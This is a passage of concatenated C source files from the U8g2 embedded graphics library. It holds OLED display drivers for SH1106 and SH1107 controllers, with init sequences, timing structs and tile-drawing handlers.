DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* issue 568 */ static const uint8_t u8x8_d_sh1106_64x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio, 0.42 OLED */ U8X8_CA(0x0d3, 0x000), /* display offset, 0.42 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.42 OLED */ U8X8_CA(0xad, 0x8b), /* DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b) */ U8X8_C(0x33), /* set charge pump voltage 0x30 (POR) .. 0x33 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x080), /* [2] set contrast control, 0.42 OLED datasheet: 0xcf */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x028), /* vcomh deselect level, 0.42 OLED datasheet: 0x00 */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_64x32_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_64x32_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_64x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 0), /* display offset, 0.42 OLED */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_64x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 0), /* What is the correct offset in flip 1 mode? --> Issue 547 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_sh1106_64x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_64x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /* copied from SSD1306 */ static const u8x8_display_info_t u8x8_sh1106_64x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 8, /* tile_height = */ 4, /* default_x_offset = */ 32, /* flipmode_x_offset = */ 36, /* pixel_width = */ 64, /* pixel_height = */ 32 }; uint8_t u8x8_d_sh1106_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_64x32_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_64x32_init_seq); return 1; } return u8x8_d_sh1106_64x32_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sh1106_72x40.c ================================================ /* u8x8_d_sh1106_72x40.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* WiseChip 0.42 OLED, issue 547 */ static const uint8_t u8x8_d_sh1106_72x40_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x027), /* multiplex ratio, 0.42 OLED */ U8X8_CA(0x0d3, 0x00c), /* display offset, 0.42 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.42 OLED */ U8X8_CA(0xad, 0x8b), /* DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b) */ U8X8_C(0x33), /* set charge pump voltage 0x30 (POR) .. 0x33 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x080), /* [2] set contrast control, 0.42 OLED datasheet: 0xcf */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x028), /* vcomh deselect level, 0.42 OLED datasheet: 0x00 */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_72x40_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_72x40_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_72x40_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 12), /* display offset, 0.42 OLED */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1106_72x40_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 52), /* What is the correct offset in flip 1 mode? --> Issue 547 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_sh1106_72x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_72x40_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /* copied from SSD1306 */ static const u8x8_display_info_t u8x8_sh1106_72x40_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 9, /* tile_height = */ 5, /* default_x_offset = */ 30, /* flipmode_x_offset = */ 30, /* pixel_width = */ 72, /* pixel_height = */ 40 }; /* WiseChip 0.42" OLED */ uint8_t u8x8_d_sh1106_72x40_wise(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_72x40_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_init_seq); return 1; } return u8x8_d_sh1106_72x40_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sh1107.c ================================================ /* u8x8_d_sh1107.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* code copyied from SSD1306 */ static const uint8_t u8x8_d_sh1107_64x128_noname_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1107_64x128_noname_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1107_64x128_noname_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1107_64x128_noname_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_sh1107_HJR_OEL1M0201_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* sh1107 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ // set column address u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */ // set page address u8x8_cad_SendCmd(u8x8, 0x0b0 | (2+(((u8x8_tile_t *)arg_ptr)->y_pos))); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static uint8_t u8x8_d_sh1107_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* sh1107 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ // set column address u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */ // set page address u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*==================================================*/ /* QG-6428TSWKG01 */ static const uint8_t u8x8_d_sh1107_64x128_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0dc, 0x000), /* start line */ U8X8_CA(0x081, 0x02f), /* [2] set contrast control */ U8X8_C(0x020), /* addressing mode */ // U8X8_C(0x0a1), /* segment remap a0/a1*/ // U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0a8, 0x7f), /* 0x03f) multiplex ratio */ U8X8_CA(0x0d3, 0x060), /* display offset */ U8X8_CA(0x0d5, 0x051), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x035), /* vcomh deselect level */ U8X8_C(0x0b0), /* set page address */ U8X8_CA(0x0da, 0x012), /* set com pins */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1107_64x128_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* sh1107: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* sh1107: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* sh1107: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 8, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 64, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_64x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* init sequence from Grove OLED 96x96 */ static const uint8_t u8x8_d_sh1107_seeed_96x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x050), /* clock divide ratio (0x00=1) and oscillator frequency (0x5) */ U8X8_C(0x020), /* use page addressing mode */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0dc, 0x000), /* start line */ //U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ //U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x080), /* [2] set contrast control */ U8X8_CA(0x0ad, 0x080), /* */ U8X8_CA(0x0d9, 0x01f), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x027), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 //U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1107_seeed_96x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 12, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 96, /* pixel_height = */ 96 }; uint8_t 